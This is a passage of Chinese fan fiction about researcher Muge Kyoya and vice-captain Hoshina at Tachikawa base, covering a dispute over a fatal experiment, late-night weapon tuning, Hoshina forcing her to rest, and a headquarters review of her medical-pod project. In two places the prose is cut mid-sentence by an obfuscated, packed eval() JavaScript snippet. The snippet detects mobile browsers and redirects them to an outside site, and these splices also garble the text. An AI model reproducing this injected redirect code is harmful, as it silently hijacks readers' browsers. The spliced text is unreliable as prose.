他伸手拍了拍暮戈京矢的肩,感觉像拍上了一尊冷硬的雕像,摇了摇头:“就这样吧,暮戈首席。” 斋藤部长的手从她肩上移开,像完成一个盖章程序般不带温度。他径直离开,留下暮戈京矢独自站在办公室里。 她沉默地走出临时办公室,在宪兵"护送"下返回立川基地。当车辆驶入基地大门时,夕阳正好将训练场染成一片暖金色。新人们还在进行耐力训练,汗水在余晖中闪闪发亮。 暮戈没有回研究所,而是直接走向副队长办公室。门虚掩着,她轻轻推开,看见保科正站在窗前,深紫色的发梢在夕阳中泛着柔和的光晕。听到动静,他没有回头看她。 “那个实验……”他的声音有些沙哑。 “是真的。”暮戈京矢干脆地撕碎粉饰的太平。 保科手指攥紧在身侧: “为了数据,牺牲一个适配者?” 在长久的沉默后,暮戈京矢似乎在衡量是否有跟他解释的必要,最终还是开了口,语速比平时稍快,仿佛要尽快说完一件不愉快但必要的事务。 “最高权限不意味着能绕过联合监管委员会和资方的共同决议。” 她清晰客观地叙述,“当时的情况是,项目面临因进度滞后而被资方裁撤的风险。出云科技和总部施加了巨大压力,要求必须得到一个‘明确的结果’,无论是成功的样本,还是……失败的极限数据。” "我的权限,在当时只够做两件事。"她竖起一根手指,"第一,拒绝担任第一负责人。"再竖起第二根,"第二,作为''替补'',在失控时拥有强行终止实验的最终指令权——尽管我们都知道,那种情况下,‘终止’大概率意味着……彻底的毁灭。”" 保科极快地转过身来,深红色的眼眸里翻涌着复杂的情绪——有愤怒,有心痛,更有一种无力的挫败感:“那你为什么要那么说?”他控制不住地问,“为什么要承认……” 承认那些本不该落在你身上的罪名? 暮戈京矢几不可查地闭了闭眼睛。 "因为从结果来看,佐藤健太确实死了。"她的声音很轻,却像一把钝刀割在人心上,"而我还活着,并且继续做着类似的研究。这个事实,比任何辩解都更有力。" “她当然可以恨我,因为我的无能和失败,仇恨需要明确的目标……这很好。” 14. 立川基地二三事(9) 凌晨四点三十分,立川基地的大门前,亚白米娜从防卫队专车上下来,对总部司机点头致意。 今夜是一个晴朗的夜晚,月明星稀,清晖柔柔洒在亚白米娜清秀的脸上,这让她想起儿时与卡夫卡在山坡上一起仰望过的那片天空。 她弯了弯唇角,那段珍贵又美好的回忆一直被她小心收在记忆匣子里,每每打开翻阅,仍能给她前进的力量。 现在的第三部队尚在沉睡中,哨塔的探灯转过一圈,亚白米娜无意打扰小此木和保科,独自穿过夜色,走向西南方向。 一组新武器的参数和适配数据需要她录入到库里进行分析,针对她个人做出调整。 刷开研究所大门,亚白米娜给凝滞的空间带来夜风的凉意。走廊静悄悄的,夜间照明设备发出莹莹蓝光,她心下叹了口气—— 她熟悉的那位技术人员肯定不在,而要让她这个对高科技电子设备苦手的人来自己操作的话,恐怕要拖到早上了,明天八点她还要在这批新人面前露个面,也不能把新人的事务都推给保科啊。 她心里对自家任劳任怨的全能副队长道了个歉,并准备接受今晚没有休息时间的事实。 路过一扇半掩着门的实验室,一阵细微而规律的、如同钟表机芯咬合的“咔哒”声,夹杂着某种低频的能量嗡鸣,引起了她的注意。 这个时间,还有人? 亚白米娜轻轻推开门,一股混合着机油和热金属的独特气味扑面而来。她的脚尖先踢到了一个散落在地的银白色齿轮:“?” 抬眼望去,实验室仿佛一个微缩的、运转中的机械心脏。地上散落着各种奇形怪状的金属零件、缠绕的导线束,以及一些尚在幽幽脉动着微光的、不明材质的导管。这些“杂物”一路汇集到巨大的、布满各种划痕和焊点的金属台面上。 台面后方,一道高挑纤瘦的身影立在数盏交错的无影灯下。暮戈京矢背对着门口,她那件标志性的白大褂随意地搭在旁边的椅背上,身上只穿着一件贴身的黑色工装背心,露出线条流畅的手臂。她的右手正握着一把结构精密的机械式校准扳手,小心翼翼地调整着一个由多重齿轮和透明晶体管道构成的复杂元件。她的左眼佩戴着一枚结构复杂的单片镜片,镜片边缘闪烁着微弱的蓝光,正对着元件内部缓缓流动的、散发着柔和光芒的流体。 空气中,几个小巧的、如同黄铜蜂鸟般的悬浮机器人正发出细微的振翅声,按照某种预设的轨迹,穿梭于零件堆之间。 似乎是感应到有人闯入,暮戈京矢的动作微微一顿。她放下扳手,抬手轻轻按在镜框边缘,那枚单片镜片便悄无声息地缩回支架。她转过身来,对门口的亚白米娜递了个微微讶然的眼神。 昏暗的房间里,唯一的光源是她背后那些冰冷的灯具,光芒映照出她沾着些许粉尘的侧脸,也让她手中的奇异元件、桌上那些闪烁着金属与能量光泽的工具,以及那些飞舞的“黄铜蜂鸟”都闪闪发光。 这场景,不像是防卫队的研究所,更像是不小心踏入了某个隐居在工业废墟中的机械炼金师的奇幻工坊。 亚白米娜默了默,本就不善言辞的她,在这过于超现实的景象前,一时更不知该如何开口。 暮戈京矢倒是很快回过神来,随手用搭在台边的棉布擦了擦手——这个动作让她指关节上附着的些许金属粉尘在光下微微反光——然后从台后走了出来。她一路走来,那些原本在地上显得有些杂乱的零件,被她用脚尖叮叮当当地踢开到两侧,清出一条勉强能下脚的小道,动作带着一种不拘小节的流畅。 “亚白队长。”她开口道,声音在机械的低频嗡鸣中显得格外清晰,“深夜到访,是有什么我能效劳的吗?”她的措辞带着老派的西式作风,语气柔和。 亚白米娜下意识摇了摇头,举了举手中的武器箱:“「苍雷」的数据录入和参数微调。”她顿了顿,补充道,“没想到您还在。” “正好在琢磨点小玩意,睡不着。”暮戈京矢随意地用手背蹭了下脸颊,反而留下了一道更明显的金属碎屑。她目光落在武器箱上,了然道,“遇到麻烦了?这套系统的操作界面确实对非专业人士不太友好。” 被一语道破窘境,亚白米娜脸上闪过一丝不易察觉的尴尬,但还是点了点头。 暮戈京矢侧身让出通道,做了一个请的手势。手臂自然隔开自己沾着机油的衣角,带着一种不属于这个环境的、古老的礼节感。“请进。小心脚下。” 她熟门熟路地带着亚白米娜穿过这片“零件雷区”,走向隔壁更为整洁的分析室。 分析室里,暮戈京矢的动作流畅而高效,她甚至不用看说明书,指尖在复杂的操作界面上跳跃,偶尔停下来,根据亚白米娜口述的战斗手感,微调几个深藏的参数。 “试试这个阻尼系数。”暮戈京矢把武器递过来,“理论上应该能缓解你手腕的负担。” 亚白米娜接过武器,模拟了几个战术动作,眼中闪过一丝惊喜。调整非常细微,但效果立竿见影。 “很有效。”她诚实地说道,看向暮戈京矢的眼神里多了几分真正的佩服,除了高超的技术水平,那种源自西方学术界的绅士风度也让她感到舒适——明确、有分寸,且高效。 如果她跟小此木交流一下,就会发现这种西式礼仪是暮戈京矢对女士的专属,这是海外五年在她身上留下的为数不多柔软文明的印记,至于其他人——比如神崎亮之流,从她这就只能得到毫不留情的尖刻。 “能帮上忙就好。”暮戈京矢浅浅一笑,光华流转在她沉绿的眼眸中。 就在亚白米娜以为事情已经结束时,暮戈京矢像是忽然想起了什么,转身从工作台的一个抽屉里取出一个巴掌大小、打磨光滑的金属构件。它的造型简洁,表面流淌着细微的能量光泽。 “一个小玩意儿,”她将构件轻放在亚白米娜手中,动作随意却不会让人觉得轻慢,“将它嵌在「苍雷」的备用能源槽旁边,或许能在长时间连续射击时,帮您稳定核心能量流的波动。” 亚白米娜看着手中这个做工精致、显然花费了不少心思的构件,又抬头看向神色自然的暮戈京矢。这份体贴而不着痕迹的赠予,让她心底微微一暖。 “这太珍贵了……” “请务必收下。”暮戈京矢温和地打断她,绀青色的眼睛里带着真诚,“并不值什么,只是我小时候一个无聊的构想,最近把它做了出来而已,没什么广泛适用性,只有您持有的枪炮特化武器,才能发挥它的用处” 当亚白米娜离开研究所时,天色已蒙蒙亮。她握着手中那枚尚带余温的金属构件,回想起今晚这场出乎意料融洽的交流,清冷的脸上线条柔和了许多。 这位技术指导的身上,融合了东方的神秘与西方的优雅,形成了一种独特而令人舒适的气质。 不过,亚白米娜想着刚才暮戈京矢眼下难以忽略的青色。 ......明天跟保科谈谈吧。 于是第二天,保科宗四郎正和亚白米娜处理着积压的文书工作,房间里只有纸张翻动和电子笔划过屏幕的细微声响。 “说起来,”亚白米娜头也不抬地整理着手中的报告,“昨晚我去研究所录入数据,遇到暮戈指导了。” 保科正在签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685681|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字的手几不可查地顿了一下,墨水在纸面上留下一个微小的晕染。他面上不动声色,依旧保持着温和的笑容:“哦?这倒是难得。她最近……似乎很忙。” 他斟酌着用词,自从那场掏心掏肺的办公室谈话后,暮戈好像耗尽了什么,他和暮戈之间陷入了一种无形的僵局,两人都默契地避开了直接接触。 “嗯。”亚白米娜应了一声,将一份签好字的文件归拢到一旁,“她帮我调整了「苍雷」的参数,效率很高。” 她顿了顿,似乎在回忆,然后补充了一句,语气里带着一丝罕见的、纯粹的肯定,“她很专业,而且……举止非常得体,令人舒适。” “得体?舒适?” 保科几乎要怀疑自己听错了。他脑海里瞬间浮现出暮戈京矢平日里那副不是冷着脸戳人痛处,就是沉默着把自己熬到脸色苍白的样子,就算是分享往事,也带着极强的自我性叙事,在他面前,她何曾有过“得体舒适”这种评价? 好像也有过,不过那是两人初识的时候,那时暮戈的礼貌,带着对监管人的疏离和客套。 亚白米娜似乎没有察觉他的讶异,继续用她那没有波澜的语调陈述:“她还送了一个自己做的小部件,用来稳定「苍雷」的能量流。” 她抬眼看向保科,眼神清澈,“她似乎对枪炮特化武器的能量传导有自己的见解。” “是吗……”保科干咳一声,努力让声音听起来自然如常,他低下头假装继续批阅文件,试图掩饰那一瞬间的失态,“那真是……太好了。能帮上亚白队长的忙就好。” 思绪却忍不住飘远:所以,她现在宁愿在凌晨帮亚白调整武器,送她小礼物,也不愿意走出实验室,跟他这个“监管人”打個照面吗? 亚白看着他走神,话锋突兀地一转:“不过,她眼下的黑眼圈很重,看上去至少三天没有正常休息了。” “……”保科脸上的笑容瞬间有点僵硬。 他就知道。 亚白米娜的语气依旧平稳,听不出责备,只是在陈述一个观察到的事实:“我认为,确保核心研究员保持基本健康,也是监管工作的重要一环。保科副队长。” 保科感到一阵微热的尴尬从耳后升起。被自家队长以这种公事公办的口吻提醒他“监管失职”,实在是……有点丢脸。他当然知道暮戈的状态不好,正是因为知道,才更因为之前办公室的谈话而不知该如何自然地再次介入。 “啊……这个,我当然知道。”保科抬手摸了摸后颈,试图用笑容掩饰尴尬,“只是最近……” 只是最近他们处于一种微妙的状态,他还不知道怎么面对。这话他可说不出口。 亚白米娜看着他略显窘迫的样子,没有再继续追问,只是淡淡地补了一句:“她似乎很专注于那个医疗舱项目。” 这句话像是解释,又像是给了保科一个台阶下。 保科心里松了口气,同时那股莫名的、关于“差别待遇”的惊奇感又冒了出来。她和亚白就能进行“专业、得体、还送礼物”的友好交流, 和他,就是彻夜对峙、沉重坦白、以及现在这种莫名其妙的冷战。 这对比实在有点惨烈。 他深红色的眼眸微微眯起,一种混合着尴尬、无奈、和些许不甘的情绪悄然滋生。 看来,不能再这样“默契”地互相回避下去了。他得做点什么,打破这种由他单方面感觉到的、莫名其妙的僵局才行。至少,得先把那个把自己熬到黑眼圈的家伙从实验室里弄出来。 “我明白了,亚白队长。”保科重新拿起笔,笑容恢复了往常的从容,但眼底多了一抹决心,“谢谢你的提醒,我会……妥善处理的。” 15. 立川基地二三事(10) 保科宗四郎站在研究所实验室门口,做了两次深呼吸,才推门而入。 暮戈京矢果然还在那里,姿势几乎与亚白米娜描述的无异,俯身于庞大的医疗舱原型机前,眼下的青黑在冷白灯光下愈发明显。 “你需要休息。”保科走到她身边,声音比他自己预想的要沉。 暮戈京矢敲击键盘的手指未停,甚至连头都没抬,“最后一个模块,调试完就去。” 这话保科在过去两天里已经听了不下三次。他看着她苍白得近乎透明的侧脸,一种混合着无力感和恼怒的情绪在胸腔里积聚。 “这句话你三十六小时前就说过了。”他试图让自己的语气保持平和。 “那就再等三十六个小时。”她的回应一如既往。 "医疗舱的进度很重要,但你的身体同样是重要资产。"他耐着性子换了个角度。 "我知道。"她目光依然锁定在屏幕上。 保科看着她油盐不进的样子,想起亚白描述的"专业""得体",再对比此刻她对自己的敷衍,那股说不清道不明的烦躁感又涌了上来。他决定直面问题的核心: "所以,把自己累垮,就是你认为目前''最好''的处理方式?就像你觉得把所有责任揽到自己身上也是''最好''的安排?" 他刻意加重了"最好"两个字的读音。 暮戈京矢的动作终于停了下来。 她缓缓直起身,转向他,绀青色的眼睛透过单片镜,折射出泠泠的光。 "是的。"她语气平淡,"这是最高效的解决方案。——这样很好。" 又是这句话。 一点也不好。 保科看着她这副模样,心脏像是被一只冰冷的手攥紧。所有的劝说、所有的道理,在她这套坚不可摧的逻辑面前,都显得苍白无力。 温和的常规手段已然失效,他目光在她微微泛红的眼睫和失血的嘴唇上短暂停留,随即锁定在她颈侧。在他们关系尚可的时候,她曾随意指着那里告诉他,压迫颈侧某个特定点,比击打后颈更高效、更安全,适用于需要瞬间制服但不想造成永久伤害的情况。 当时他还笑着摇头,说:“这种知识还是不要随便教给我比较安全” 理智告诉他这太超过,太冒险。但看着她仿佛要将自己最后一丝精力也榨干投入眼前这台机器的决绝,那股从心底涌上的、不容反驳的念头压过了一切—— 不能再让她这样下去了。 暮戈京矢刚要把注意力再次完全集中到操作台上,动作却滞涩了一下。 因为保科突然毫无征兆地靠近了她。距离近得她能闻到他身上淡淡的、干净的皂角气味,与他平日温和形象截然不同的压迫感瞬间笼罩下来。 暮戈下意识地想后退,却因为连日的疲惫而慢了半拍。 保科的眼神沉静如水,没有一丝犹豫。他出手极快,右手五指精准地控制着角度和力道,在她反应过来之前,稳稳地按在了她颈侧那个关键的神经反射点上。 暮戈京矢的身体猛地一僵,涣散的意识甚至没能凝聚起一个完整的念头,只来得及从喉间溢出一声极短促、几乎听不见的惊愕气音。随即,她眼前一黑,所有的感官和坚持都在瞬间被强行切断,身体软软地向后倒去。 保科已经调整好承接姿势。他单手扶住她的肩背,另一只手迅速探过她膝弯,将人平稳抱起。重量比预期更轻,这让他微微蹙眉——显然最近的高强度工作已经影响到她的基础代谢。 “得罪了,”他低头,对着已经失去意识的她轻声叹息,“只能采取非常手段了,技术指导。” 他没有丝毫耽搁,抱着她快步走出研究所,穿过寂静的夜色,径直走向她的宿舍。 此刻,什么监管守则,什么人际边界,都被他抛在了脑后。 至少在此刻,他强行中止了她那套名为“这很好”的、残酷的自我消耗程序。 穿过走廊时,他选择了一条避开值班岗哨的路线。怀中的研究员呼吸平稳但微弱,他用权限刷开她宿舍的门,将她轻轻放在床上,生疏地取下那片蓝莹莹的单片镜,拉过被子仔细盖好。做完这一切,他站在床边,静静地看了她几秒。卸下所有防备和尖刺的她,看起来很安静,甚至有些脆弱 。 “晚安,暮戈。”他极轻地说了一句,然后关掉了灯,悄然离去。 ...... ...... 保科宗四郎几乎一夜未眠,预设了无数种暮戈京矢醒来后可能出现的风暴——冰冷的质问、尖锐的讽刺,或者更糟的、彻底的、无声的决裂。 他做好了承担一切后果的准备,并且清晰地知道自己不会后悔。 然而,第二天清晨,当他在食堂“偶遇”明显是刚醒来、脸色依旧苍白的暮戈京矢时,预想中的风暴并未降临。 她甚至平静地接过他递过去的热牛奶,在他紧张的目光中喝了一口,然后抬眼看他,语气寻常地主动开口:“保科副队长,人体颈动脉窦的精确位置,我记得是我教你的。” 说完不等保科有所回应,便转身走向研究所方向。 保科站在原地,看着她离去的背影,这种举重若轻的态度,比预想中的任何反应都让保科感到不安——就像头上悬着一把不知道什么时候会落下的刀。 但这种不安只持续了很短的时间。 他深吸一口气,将最后一点顾虑抛诸脑后。 破罐子破摔好了。 既然温和的劝说无效,理性的沟通在她那套“这样很好”的逻辑面前败下阵来,那他就换一种她无法“理性”拒绝的方式。 这不再是商量,而是通知。 保科宗四郎,这位立川基地最受欢迎的副队长,展现出了他温和表象下不容置疑的强硬内核。他没有被她的沉默击退,反而以一种“润物细无声”却又无处不在的方式,强势地重新介入了她的生活,将“监管人”的职责发挥到了前所未有的新高度。 第一回合:光合作用行动 清晨七点,研究所最深处的实验室门被准时刷开。 保科宗四郎带着一身清爽的气息走进来,对满眼血丝的暮戈京矢视若无睹,径直走到主控台前,开始手动备份数据并执行休眠指令。 “副队长,我认为我有权决定自己的工作时间。”暮戈的声音因长时间未进水而有些沙哑。 保科头也不回,手指飞快操作:“嗯。我也有权防止立川基地的重要资产因过度劳累而报废。”他完成操作,转身微笑:“走吧,今天的‘光合作用’时间到了。” 五分钟后,暮戈京矢被“安置”在基地屋顶花园的长椅上,手里还被塞了一杯温热的牛奶。她面无表情地看着清晨的阳光,感觉自己像一盆被强行端出来晒太阳的盆栽。 晚上十一点,断电行动: 他不知从哪里拿到了她实验室总闸的临时优先权限。每到十一点,如果她的实验室还亮着灯,他会直接远程切断非必要电源,只保留基础照明和保存数据的功能,然后亲自出现在门口,用无可挑剔的笑容对她说:“暮戈指导,该休息了。” 冷冰冰的嘲讽会被不动声色地挡回去,拒不配合会被告知将要动用“非常手段”,暮戈京矢的所有反抗都在他绝对的强势面前失去了作用。 直到某天深夜,保科再次执行“断电行动”后,送她回宿舍。在寂静的走廊里,一直沉默的暮戈京矢忽然停下了脚步。她没有回头,声音在空旷的走廊里显得有些飘忽。 “保科副队长。” “嗯?” “你做这些,没有意义。” 保科的心微微一沉。他看着她单薄的背影,努力维持着声音的平稳:“我认为有意义。” 暮戈京矢转过身,绀青色的眼眸在昏暗的廊灯下,像两潭深不见底的寒水。 “我的身体是否健康,不影响最终的结果。”她平静地陈述,“医疗舱会完成,十号战斗服也会完成。你不需要在我身上……浪费这么多时间。” 保科凝视着她,清晰地听到了自己心里某根弦绷紧的声音。他上前一步,拉近了两人之间的距离,低下头,迫使她的目光无法闪躲。他的脸上没有了往常温和的笑意,深红色的眼底是一种前所未有的认真和执拗。 “暮戈京矢,”他叫她的全名,声音低沉而清晰,“你或许可以决定什么是‘最高效’的。但什么是有意义的——” 他顿了顿,一字一句地说: “这件事,由我来决定。” 那一刻,暮戈京矢的睫毛几不可查地颤动了一下。 她什么也没说,转身打开宿舍门,消失在了门后。 但保科站在原地,看着那扇关上的门,第一次感觉到,那层坚冰,似乎裂开了一道微不可查的缝隙。 从那天开始,在这场“关照”中,变化像冰川融化般缓慢,却又切实地在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685682|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生。她不再沉默,也不再用尖刻的言语筑起高墙,甚至偶尔会给出回应,仿佛终于默许了保科以一种更强势的姿态,来插手她生活轨迹原本混乱的一切。 训练场的观测台上,暮戈京矢被保科以“呼吸新鲜空气”为由拉出来,正抱臂看着下方新队员们进行战术协同训练。保科站在她身侧稍后一点的位置,看似在关注训练,眼角的余光却始终锁定着她。 很快,场上的配合出现了明显的脱节。一名队员的突进过快,导致侧翼出现了致命的空当。暮戈的眉头蹙起,那是一种专业人士看到拙劣表演时本能的不耐。她的嘴唇微微张开,那句熟悉的、足以让任何一个新人无地自容的尖锐点评几乎就要脱口而出—— 就在这一刹那,一杯温热的、恰到好处的咖啡递到了她的唇边,恰到好处地挡住了她即将出口的话。 “尝尝看,”保科的声音柔和地在她耳边响起,带着一点关西人特有的软糯尾音,仿佛只是在进行最寻常的分享,“小此木推荐的便利店新品,说是提神效果不错。” 暮戈京矢顿住了,已经到了舌尖的话被这突如其来的“投喂”硬生生堵了回去。她垂下眼帘,看了看那杯咖啡,又侧头看向保科。他唇边噙着笑,但那双深红色的眼睛里,却清晰地写着“适可而止”四个字。 她与他对视了两秒,空气中仿佛有无形的电波在交锋。最终,她眼底那点即将燃起的批判之火,缓缓熄灭了。她什么也没说,只是就着他递过来的姿势,抿了一口咖啡。 保科脸上的笑容加深了些,两颗小虎牙若隐若现。他这才自然地收回手,仿佛刚才的一切只是一个小插曲,转而将目光投向训练场,用不大但足够清晰的声音对下面的队员指导道:“注意侧翼衔接,速度要同步。再来一次。” 下方的队员们浑然不觉自己刚刚在技术指导的审判边缘走了一遭,听到副队长的指示,立刻精神一振,重新投入训练。 暮戈京矢端着那杯咖啡,没有再说话。她只是静静地站着,一口接一口地喝着,任由那微苦的液体温暖她的手掌,也暂时封存了她那些未出口的、可能伤人的“实话”。保科则在她身边,继续平和而精准地点评着训练,如同一位尽职的导师。 一场潜在的冲突,就这样被一杯恰到好处的咖啡,消弭于无形。 其实这样,也不错。暮戈京矢被这个突然冒出来的念头吓了一跳,面上不显,脑子里却开始迅速而熟练地刨析自己的深层次心理倾向,最终得出的结论是——他的好意,她真切地感受到了,并且……并不讨厌。 但这并不意味着,她就会把最近被他“强行关照”这件事——轻轻放下。 保科觉得暮戈京矢最近配合得令人意外。让吃饭就吃饭,让散步就散步,让下班就收拾东西走人。 只是,每次保科宣布一条新“规矩”时,她会看他一眼,然后拿出随身终端,当着他的面,快速输入几个字符。 保科忍不住好奇:“你在记什么?” 暮戈京矢竟然笑了一下:“副队长的新规定太多了,记录下来有助于我.....更好地遵守。” 这个久违的浅笑冲淡了保科心里隐隐觉出的不对劲,忍不住带着点如释重负的、软绵的关西腔说: "这就对了嘛,好好休息才能保持状态......”他顿了顿,似乎想为这段时间的所有强硬行为,找到一个合理化的注脚,一个能让双方都下的来台的台阶。于是,他补上了那句在他看来自洽,在她听来却如同标记所有权般的话: “——毕竟,我是你的监管人嘛。” 走在前面的暮戈京矢脚步顿住。 她侧过身,廊灯在她绀青色的眼底投下细碎的光影。她看向他,脸上缓缓绽开一个更深的,极其少见的、带着几分难以捉摸的纵容意味的笑容。 那笑容很美,却让保科心头莫名一跳。 "好啊。"她的声音很轻,却异常清晰,"我记住了。" 这简单的四个字,加上她的笑容和语气,不像是对他话语的认同,反倒像是一个......真正的标注。 但他并未深想,只当是两人关系终于完全缓和下来的信号,回以了一个真心实意高兴的笑容。 他不知道,在转身继续向宿舍走去的暮戈心里,正无声地续上了后半句: "......毕竟,我是你的监管人嘛。" "——很快,就不是了。" 16. 医疗舱,星空夜话,和最终裁定 防卫队总部,最高技术审议会的加密终端,在深夜接收到了一份期待已久却又不愿其真正到来的文件。 《交互式医疗舱基础原理与适配性白皮书》。 斋藤部长坐在办公室里,屏幕上冰冷的光映在他毫无表情的脸上。 他逐页审阅着暮戈京矢提交的最终报告,上面的数据比他预想的更加惊人,也更加……危险。 利用高度驯化的特定编号怪兽细胞,实现人类重伤躯体的近乎完美再生——理论模型他早已看过,但当详尽的、足以支撑立即进行人体试验的数据摆在面前时,那份沉甸甸的现实感依然压得他指尖发凉。 这不是惊喜,而是确认。确认了他们一直以来或明或暗支持的,究竟是一个怎样的怪物——无论是这项技术,还是那个开发者。 办公室里并非只有他一人,但一片死寂。另一位参与了早期项目评估的资深官员终于忍不住,低声打破了沉默:“这依然是……最危险的亵渎。将不可控的怪兽细胞与人类最精英的战士深度融合,无异于亲手埋下定时炸弹。” 他恐惧的不仅是技术本身潜在的异化风险,更是暮戈京矢在报告中展现出的那种 “为达目的,可无视一切伦理边界” 的冰冷逻辑。这份白皮书,就是她那套逻辑最极致的体现。 但当这位官员翻到最后一页的战术推演数据时,呼吸还是不由一滞:配备医疗舱后,对阵九号级别怪兽的队员存活率预估提升400%,持续作战能力提升650%。 在这个人类节节败退的夏天,这份魔鬼的交易让人无法拒绝。 斋藤的目光久久停留在“预计适配者:高解放战力人员:保科宗四郎、鸣海弦等。”那一行字上。他想起那个由自己授意、通过长谷川转交的金属箱,里面正是这个项目早期阶段的部分核心数据。他们早就被绑在了这辆战车上。 “我们别无选择。”斋藤的声音在寂静中响起,裸露出疲惫的底色,“面对九号,常规手段已经失效。我们需要奇迹,哪怕这个奇迹……来自于深渊。”他缓缓靠向椅背,挥了挥手,“按流程走,启动最高级别论证。在结论出来之前,封锁消息。” ...... ...... 而在立川基地,这把"双刃剑"的铸造者,刚刚完成这项惊世骇俗的工作,正迎来一个难得的宁静片刻。 保科宗四郎推开研究所大门时,身上还带着训练场的温度。深紫色的发梢微湿,白皙的脸颊因运动泛着健康的红晕。他环顾四周,在那些面色苍白、眼圈深重的研究员中寻找着某个身影。 "暮戈指导呢?"他自然地询问离他最近的一位研究员。 被问到的年轻研究员愣了一下,随即指向走廊尽头:"技术指导说她去天台透透气,刚离开不久。" 保科点头道谢,转身朝那个方向走去。他的身影在充斥着消毒水气味和仪器低鸣的实验室里显得格格不入,像一道误入晦暗之地的明亮阳光。 保科推开天台门时,夜风送来一段断续的哼唱: Tell him to make me a cambric shirt, 请他为我做件麻布衣衫, Parsley sage rosemary and thyme, 香芹,鼠尾草,迷迭香和百里香, Without no seams nor needle work, 上面不用缝口,也不用针线...... 他愣在原地,几乎以为自己找错了地方。那旋律很陌生,带着异国的婉转,在寂静的夜空里轻轻飘荡,与平日里实验室的仪器嗡鸣、或是她带着清哑的嗓音截然不同。 他轻轻带上门,循着声音走去。 暮戈京矢斜倚在栏杆上,墨色发丝在风中拂动,露出难得有些血色的唇角,此时她正微微仰着头,那段悠扬的旋律从她唇间逸出,轻快而随意。 保科从未听过她唱歌——他甚至无法想象她会唱歌。这突如其来的发现,像在严谨的密码库里发现了一首手抄的诗。 她正仰望着东京难得清澈的夜空。银辉落进她眼底,仿佛伸出手,就能触碰星辰运行的轨迹,夜风掀起她额前的碎发,露出光洁的额头。保科几乎能看见那些星轨正顺着她的视线流淌进脑海里,变成精妙的构思与蓝图。 那是一个纯粹的,属于探索者的眼神,专注、明亮,装着整个宇宙的寂静与喧嚣。 保科几乎不忍打破这片宁静,但走近的脚步声还是惊动了她。 哼唱声停了,那浩瀚的星海从她眼中缓缓褪去。她转过身时,眉宇间还残留着那种沉浸在未知世界里的、松弛的柔和。 “看来医疗舱的完成,让你轻松了不少。”保科笑着在她身边站定。 暮戈顺着他的目光看向天空,轻轻“嗯”了一声。“以后不会了。”她突然没头没尾地说了一句,但保科听懂了——她是在说之前那种不顾一切的自我压榨。 “以后,”她补充道,“要专注十号的适配了。” 两人沉默了片刻,望着立川基地亮起的点点灯火。 “九号也消停了一段时间,”保科闲聊般提起,“市内甚至连低等级怪兽都很少出现了。” “暴风雨前的宁静。”暮戈淡淡评价,没有多少紧张,更像是在陈述一个客观事实。 这时,保科的终端准时响起,提醒着“下班时间”到。他低头看了一眼,再抬头时,脸上带着点无奈的笑意:“看来到了我例行‘履行职责’的时候了。” 暮戈京矢松散下来的眉梢眼角微微一动。 她转过身,正面看向他, “保科副队长,”她的声音清晰地穿透晚风,“十号战斗服的下个进程,就需要你本人深度配合了。” 她微微歪头,唇角勾起一个弧度:“做好准备了吗?” 保科被她突然转换的话题和那意味深长的语气弄得一怔,但听到是与十号相关,他的神色立刻认真起来。他向前微倾身体,声音温和却带着笃定: “好。我整个人都交给你了,随你怎么安排。” 这句话说得太过自然,太过真诚,仿佛在许下一个重要的承诺。 暮戈京矢不动声色舔了舔口腔上齿列,这个回答,远比她预想的还要……令人满意。她唇角微扬,转身走向天台入口,经过他身边时,轻声留下一句:“记下了,保持状态。” 天台那次短暂宁静后的第二天,保科宗四郎刚到办公室,就被告知——总部直属的监察部队在天刚亮时抵达,已将暮戈京矢带离立川基地,前往总部审议会。 “再次接受审议,最终裁定。”亚白米娜的声音在他身后响起,“这是流程,你我都无权干涉。” 保科这才从亚白口中得知,那份《交互式医疗舱白皮书》的提交,触发了最终的裁定程序。总部将对她过往的所有行为,以及这项颠覆性技术本身,做出最终判决。 他都快忘了,她原本是以什么身份来到立川基地的。 “把这些文件送到总部技术部进行季度例行汇报。”亚白将一份封装好的电子文件板递到他面前,打断了他的出神,“正好,你也该去了解一下情况。” 保科微微一怔,看向自家队长。 亚白没有看他,目光落在文件板上,语气平淡地补充:“记住,保科,你是以第三部队副队长的身份,进行例行工作汇报。” 保科瞬间明白了亚白的用意。这不是普通的跑腿任务,这是一个名正言顺让他前往总部、接近审议核心区域的借口。 ...... ...... 保科宗四郎在总部大楼完成枯燥的装备汇报流程后,并没有立刻离开。他刻意绕道,经过了科研中心的开放区域。 几个研究员正聚在走廊的电子公告板前,上面滚动着最新的数据模型。保科放缓了脚步。 “——简直疯了,‘M407模型’的预测精度又提升了,海外带回来的那些能量勘测数据,听说是在地裂带深处采集的……” “不然怎么是‘首席’呢。但那种地方……真的是人类能去的吗?” “暮戈京矢本来就不能算正常人吧?听说秘鲁那次最关键的数据勘测,全队就只有她一个人活着回来了。” “嘘!小声点……” 议论声在保科经过时低了下去,研究员们对他这位第三部队副队长点头致意,眼神却带着对另一个名字的敬畏与疏离。 神秘,疯狂,非人。首席。 这些词汇碎片般拼凑起总部普通研究者眼中的暮戈京矢——一个行走在禁忌边缘、为达目的不择手段的传奇,而非立川基地那个会被他强行拉去晒太阳、会因为一杯恰到好处的咖啡而收敛毒舌的技术指导。 